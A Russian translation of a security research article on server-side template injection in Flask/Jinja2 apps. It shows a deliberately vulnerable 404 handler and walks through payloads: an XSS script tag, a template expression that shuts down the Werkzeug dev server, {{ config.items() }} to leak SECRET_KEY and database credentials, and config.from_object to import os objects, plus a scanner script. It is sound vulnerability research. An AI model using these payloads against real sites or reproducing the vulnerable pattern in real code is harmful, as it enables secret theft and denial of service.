Если вы ни разу не слышали об инжектирования в шаблоны на стороне сервера (Server-Side Template Injection, SSTI) или не уверены, что хорошо знаете эту технологию, рекомендую предварительно ознакомиться со статьей Джеймса Кеттла (James Kettle).
Автор: Tim Tomes
Если вы ни разу не слышали об инжектирования в шаблоны на стороне сервера (Server-Side Template Injection, SSTI) или не уверены, что хорошо знаете эту технологию, рекомендую предварительно ознакомиться со статьей Джеймса Кеттла (James Kettle).
Как профессионалы в сфере безопасности мы помогаем организациям, которые принимают решения, несущие определенные риски. Если рассматривать риск в разрезе влияния и вероятности возникновения той или иной ситуации, без истинного знания о влиянии уязвимости мы не сможем правильно рассчитать риск. Недавно Джеймс надоумил меня провести исследование, суть которого сводится к оценке влияния SSTI-уязвимостей на приложения, разработанные на фреймворке Flask и шаблонизаторе Jinja2. Эта статья – результат данного исследования. Если вы хотите чуть больше погрузиться в данную тему, рекомендую ознакомиться со статьей Райана Рейда (Ryan Reid), где подробно рассказывается о том, что представляет собой SSTI в приложениях, написанных на Flask/Jinja2.
Тестовое приложение
Для того чтобы оценить степень влияния SSTI, мы будем использовать тестовое приложение, содержащее следующее представление.
@app.errorhandler(404)
defpage_not_found(e):
template
=
'''{%% extends "layout.html" %%}
{%% block body %%}
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
{%% endblock %%}
'''%
(request.url)
return
render_template_string(template),
404
Суть работы данного приложения заключается в следующем. Разработчик решил отказаться от отдельного шаблона под 404 страницу, а создал строку для шаблона внутри функции представления, отвечающего за отображение 404 страницы. При возникновении ошибки пользователю возвращается URL с ошибкой, но вместо передачи URL в контекст шаблона через функцию render_template_string,
используется строковое форматирование для динамически добавляемого URL к строке шаблона. Вполне резонно, не правда ли? Я видел ситуации хуже.
При выполнении кода выше, получаем ожидаемый результат:
Рисунок 1: Страница с ошибкой 404
Многие читатели тут же подумали об XSS и были правы. Если в конец URL добавить <
script
>
alert
(42)</
script
>,
получим XSS-уязвимость.
Рисунок 2: Эксплуатация XSS-уязвимости
Первоначальный код уязвим к межсайтовому скриптингу (XSS). Если вы читали статью Джеймса, приведенную выше, то знаете, что присутствие XSS-уязвимости является индикатором возможности применения технологии SSTI. Наш код является хорошим примером. Но если мы копнем чуть глубже и добавим в конец URL выражение {{ 7+7 }}
, то увидим, что движок шаблона вычислил математическое выражение, и на выходе мы получим 14 внутри шаблона.
Рисунок 3: Результат добавления выражения {{ 7+7 }} в конец URL
Теперь рассмотрим подробнее, как использовать технологию SSTI на примере нашего приложения.
Анализ кода
После получения первого рабочего эксплоита, мы будем более глубоко исследовать шаблон и искать SSTI-уязвимость. Модифицированная уязвимая функция представления тестового приложения будет выглядеть так.
@app.errorhandler(404)
defpage_not_found(e):
template
=
'''{%% extends "layout.html" %%}
{%% block body %%}
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
{%% endblock %%}
'''%
(request.url)
return
render_template_string(template,
dir=dir,
help=help,
locals=locals,
),
404
Теперь мы вызываем render
_
template
_
string
функцию с параметрами dir
, help
и locals
, которые добавляются в контекст шаблона. Таким образом, эти параметры мы можем использовать для анализа уязвимости и выяснения дополнительных возможностей, доступных в шаблоне.
Но вначале сделаем небольшую паузу и поговорим о том, что говорится в документации относительно такого понятия как «контекст шаблона». Существует несколько источников, откуда объекты попадают в контекст шаблона.
Объекты, добавленные разработчиком.
Нас больше всего интересуют пункты 1 и 2, поскольку эти объекты доступны во всех приложениях, где используется Flask/Jinja2. Объекты из пункта 3 уже будут варьировать в зависимости от конкретного приложения, к которым можно получить доступ различными способами. На сайте StackOverflow есть несколько примеров. Мы не будем глубоко погружаться в исследование нестандартных объектов (пункт 3), поскольку здесь требуется статический анализ кода.
Методология анализа и поиска уязвимостей на базе пунктов 1 и 2 будет выглядеть примерно так.
Читаем документацию!
Исследуем объект locals при помощи dir на предмет того, что доступно в контексте шаблона.
Исследуем все найденные объекты, используя dir и help.
Анализируем исходный код на предмет присутствия чего-нибудь интересного.
Результаты анализа
Первые интересные открытия будут найдены в объекте request
, который является глобальным в фрейворке Flask (flask.request). Данный объект содержит ту же самую информацию, что и объект request, доступный через представление. Внутри объекта request
находится объект environ
. Объект request
.
environ
представляет собой словарь объектов, имеющих отношение к серверной части. Один из элементов этого словаря – метод shutdown
_
server
, который связан с ключом werkzeug
.
server
.
shutdown
. Догадались, что произойдет с сервером, если в шаблон инжектировать выражение {{
request
.
environ
['
werkzeug
.
server
.
shutdown
']() }}.
Вы правильно поняли. Потратив несколько минут, мы можем спровоцировать DOS-атаку. Однако этот метод не доступен, если приложение запущено при помощи HTTP-сервера gunicorn. Так что уязвимость может присутствовать лишь на сервере, который используется в целях разработки.
Второе интересное открытие находим после анализа объекта config
, который, так же как и объект request, является глобальным в фреймворке Flask (flask.config). Данный объект представляет собой словарь со всеми переменными, связанными с конфигурацией приложения, в том числе строками для подключения к базе данных, учетными записями к сторонним сервисам, SECRET
_
KEY
и т. д. Просмотр этих переменных осуществляется при помощи выражения {{
config
.
items
() }}
и не сложнее, чем инжектирование полезной нагрузки.
Рисунок 4: Результат выполнения команды config
.
items
()
Не спасает и хранение этих данных в переменных среды окружения, поскольку объект config
содержит все переменные, связанные с конфигурацией, ПОСЛЕ обработки фреймворком.
Наиболее интересное открытие появляется также после изучения объекта config
.
Помимо того что config
представляет собой словарь, этот объект также является подклассом, содержащим несколько методов: from
_
envvar
, from
_
object
, from
_
pyfile
и root
_
path
. Здесь мы приступаем к изучению исходного текста. Ниже представлен код метода from
_
object
, принадлежащего классу Config
(
flask
/
config
.
py
).
deffrom_object(self,
obj):
"""Предназначен для обновления значений выбранного объекта.
Объект может быть двух типов:
- строка: в этом случае объект с этим именем будет импортирован
- ссылка на объект: в этом случае объект используется напрямую
Объекты обычно представляют собой модули или классы.
Переменные в верхнем регистре объекта хранятся внутри класса config.
Пример использования:
app.config.from_object('yourapplication.default_config')
from yourapplication import default_config
app.config.from_object(default_config)
Рекомендуется использовать функцию для загрузки не текущей конфигурации, а конфигурации по умолчанию. Текущую конфигурацию следует загружать при помощи метода `from_pyfile` и в идеале не из пакета, поскольку пакет может быть общесистемным.
:param obj: имя для импорта или объект
"""
if
isinstance(obj,
string_types):
obj
=
import_string(obj)
for
key
in
dir(obj):
if
key.isupper():
self[key]
=
getattr(obj,
key)
def
__repr__(self):
return
'<%s %s>'
%
(self.__class__.__name__,
dict.__repr__(self))
Если мы передадим строку в метод from
_
object
,
далее эта строка будет передана в метод import
_
string
, находящийся в модуле werkzeug
/
utils
.
py
, который попытается импортировать объект с подходящим именем.
defimport_string(import_name,
silent=False):
"""Поиск и импорт объектов на основе переданной строки.
Эта возможность полезна при наличии пути к импортируемому объекту.
Путь может быть задан в двух вариантах:
(``xml.sax.saxutils.escape``) или (``xml.sax.saxutils:escape``).
Если параметр `silent` равен True, в случае неудачного импорта метод возвратит значение `None`.
:param import_name: имя (путь) импортируемого объекта.
:param silent: если в этом параметре установлено `True` ошибки при импорте будут игнорироваться, и будет возвращаться значение `None`.
:return: метод возвращает импортируемый объект
"""
# происходит принудительная конвертация имени в строку
# __import__ не может обрабатывать Unicode-строки в исходном списке
# (fromlist), если модуль является пакетом
import_name
=
str(import_name).replace(':',
'.')
try:
try:
__import__(import_name)
except
ImportError:
if
'.'
not
in
import_name:
raise
else:
return
sys.modules[import_name]
module_name,
obj_name
=
import_name.rsplit('.',
1)
try:
module
=
__import__(module_name,
None,
None,
[obj_name])
except
ImportError:
# поддерживаться импорт модулей, которые еще не установлены
# родительским модулем (или пакетом)
module
=
import_string(module_name)
try:
return
getattr(module,
obj_name)
except
AttributeError
as
e:
raise
ImportError(e)
except
ImportError
as
e:
if
not
silent:
reraise(
ImportStringError,
ImportStringError(import_name,
e),
sys.exc_info()[2])
Метод from
_
object
затем добавляет все атрибуты только что загруженного модуля, чьи имена переменных полностью находятся в верхнем регистре, в объект config
. Интересный факт заключается в том, что атрибуты, добавленные в объект config
, поддерживают собственные типы. То есть функции, добавленные в объект config
, могут быть вызваны в контексте шаблона через объект config
. Для демонстрации вышесказанного инжектируем выражение {{
config
.
items
() }}
внутрь SSTI-уязвимости и посмотрим содержимое объекта config.
Рисунок 5: Содержимое объекта config
После инжектирования выражения {{
config
.
from
_
object
('
os
') }}
в объект config добавятся все атрибуты библиотеки os, чьи имена переменных полностью находятся в верхнем регистре. Вновь инжектируем {{
config
.
items
() }}
и замечаем появление новых элементов. Также обратите внимание на типы новых элементов.
Рисунок 6: Содержимое объекта config после импортирования новых элементов
Как было сказано ранее, любой объект, добавленный в config, можно вызвать через SSTI-уязвимость (конечно, при условии, что сам элемент вообще способен быть вызванным). Следующий шаг: поиск нужного функционала внутри доступных к импорту модулей, который поможет выйти за пределы песочницы шаблона.
Скрипт ниже повторяет алгоритм методов from
_
object
и import
_
string
и анализирует Python Standard Library на предмет объектов, доступных для импорта.
#!/usr/bin/env python
fromstdlib_list
import
stdlib_list
importargparse
importsys
defimport_string(import_name,
silent=True):
import_name
=
str(import_name).replace(':',
'.')
try:
try:
__import__(import_name)
except
ImportError:
if
'.'
not
in
import_name:
raise
else:
return
sys.modules[import_name]
module_name,
obj_name
=
import_name.rsplit('.',
1)
try:
module
=
__import__(module_name,
None,
None,
[obj_name])
except
ImportError:
# support importing modules not yet set up by the parent module
# (or package for that matter)
module
=
import_string(module_name)
try:
return
getattr(module,
obj_name)
except
AttributeError
as
e:
raise
ImportError(e)
except
ImportError
as
e:
if
not
silent:
raise
classScanManager(object):
def
__init__(self,
version='2.6'):
self.libs
=
stdlib_list(version)
def
from_object(self,
obj):
obj
=
import_string(obj)
config
=
{}
for
key
in
dir(obj):
if
key.isupper():
config[key]
=
getattr(obj,
key)
return
config
def
scan_source(self):
for
lib
in
self.libs:
config
=
self.from_object(lib)
if
config:
conflen
=
len(max(config.keys(),
key=len))
for
key
in
sorted(config.keys()):
print('[{0}] {1} => {2}'. format(lib,
key.ljust(conflen),
repr(config[key])))
defmain():
# parse arguments
ap
=
argparse.ArgumentParser()
ap.add_argument('version')
args
=
ap.parse_args()
# creat a scanner instance
sm
=
ScanManager(args.version)
print('\n[{module}] {config key} => {config value}\n')
sm.scan_source()
# start of main code
if__name__
==
'__main__':
main()
Ниже показаны некоторые наиболее интересные результаты работы скрипта, который был запущен в среде с Python 2.7, включая наиболее интересные объекты, доступные для импорта.
(venv)macbook-pro:search lanmaster$ ./search.py 2.7
[{module}] {config key} => {config value}
...
[ctypes] CFUNCTYPE => <function CFUNCTYPE at 0x10c4dfb90>
...
[ctypes] PYFUNCTYPE => <function PYFUNCTYPE at 0x10c4dff50>
...
[distutils.archive_util] ARCHIVE_FORMATS => {'gztar': (<function make_tarball at 0x10c5f9d70>,
[('compress', 'gzip')], "gzip'ed tar-file"), 'ztar': (<function make_tarball at 0x10c5f9d70>,
[('compress', 'compress')], 'compressed tar file'), 'bztar': (<function make_tarball at 0x10c5f9d70>,
[('compress', 'bzip2')], "bzip2'ed tar-file"), 'zip': (<function make_zipfile at 0x10c5f9de8>,
[], 'ZIP file'), 'tar': (<function make_tarball at 0x10c5f9d70>,
[('compress', None)], 'uncompressed tar file')}
...
[ftplib] FTP => <class ftplib.FTP at 0x10cba7598>
[ftplib] FTP_TLS => <class ftplib.FTP_TLS at 0x10cba7600>
...
[httplib] HTTP => <class httplib.HTTP at 0x10b3e96d0>
[httplib] HTTPS => <class httplib.HTTPS at 0x10b3e97a0>
...
[ic] IC => <class ic.IC at 0x10cbf9390>
...
[shutil] _ARCHIVE_FORMATS => {'gztar': (<function _make_tarball at 0x10a860410>,
[('compress', 'gzip')], "gzip'ed tar-file"), 'bztar':
(<function _make_tarball at 0x10a860410>, [('compress', 'bzip2')],
"bzip2'ed tar-file"), 'zip': (<function _make_zipfile at 0x10a860500>,
[], 'ZIP file'), 'tar': (<function _make_tarball at 0x10a860410>,
[('compress', None)], 'uncompressed tar file')}
...
[xml.dom.pulldom] SAX2DOM => <class xml.dom.pulldom.SAX2DOM at 0x10d1028d8>
...
[xml.etree.ElementTree] XML => <function XML at 0x10d138de8>
[xml.etree.ElementTree] XMLID => <function XMLID at 0x10d13e050>
Далее мы используем нашу методологию к наиболее интересным элементам в надежде найти нечто, что поможет нам выйти за границы песочницы.
Спойлер: среди найденных результатов я не смог найти что-то, что помогло бы мне «покинуть» песочницу. Однако в целях обнародования результатов моего исследования ниже представлена дополнительная информация касательно найденных объектов, которую вы, при необходимости, можете использовать в будущих собственных исследованиях.
ftplib
Мы могли бы использовать объект ftplib.FTP для обратного подключения к серверу, находящемуся под нашим контролем, и загрузки файлов с сервера жертвы. Мы также можем загружать и выполнять файлы на сервере жертвы при помощи метода config
.
from
_
pyfile
. Анализ документации и исходного текста ftplib
показывает, что для решения нашей задачи ftplib
требует открытых файловых обработчиков, но поскольку функцию встроенная функция open
не доступна внутри песочницы шаблона, кажется, не существует способа создать файловые обработчики.
Httplib
Мы могли бы использовать httplib.HTTP для загрузки URL’ов файлов на локальную файловую систему при помощи обработчика файлового протокола file
://
. К сожалению, httplib
не поддерживает обработчик файлового протокола.
xml.etree.ElementTree
Мы могли бы использовать объект xml
.
etree
.
ElementTree
.
XML
для загрузки файлов из файловой системы при помощи пользовательских сущностей (user defined entities). Однако здесь
говорится о том, что etree
не поддерживает пользовательские сущности.
xml.dom.pulldom
Несмотря на то, что модуль xml
.
etree
.
ElementTree
не поддерживает пользовательские сущности, модуль pulldom
поддерживает. Однако мы ограничены классом xml
.
dom
.
pulldom
.
SAX
2
DOM
,
который не содержит метода для загрузки XML через интерфейс объекта.
Заключение
Даже несмотря на том, что метод «покинуть» песочницу шаблона пока не найден, мы исследовали влияние SSTI-уязвимостей на приложения, разработанные на Flask/Jinja2. Я планирую покопаться в этой теме поглубже, и цель данной статьи - сподвигнуть и вас к подобным исследованиям.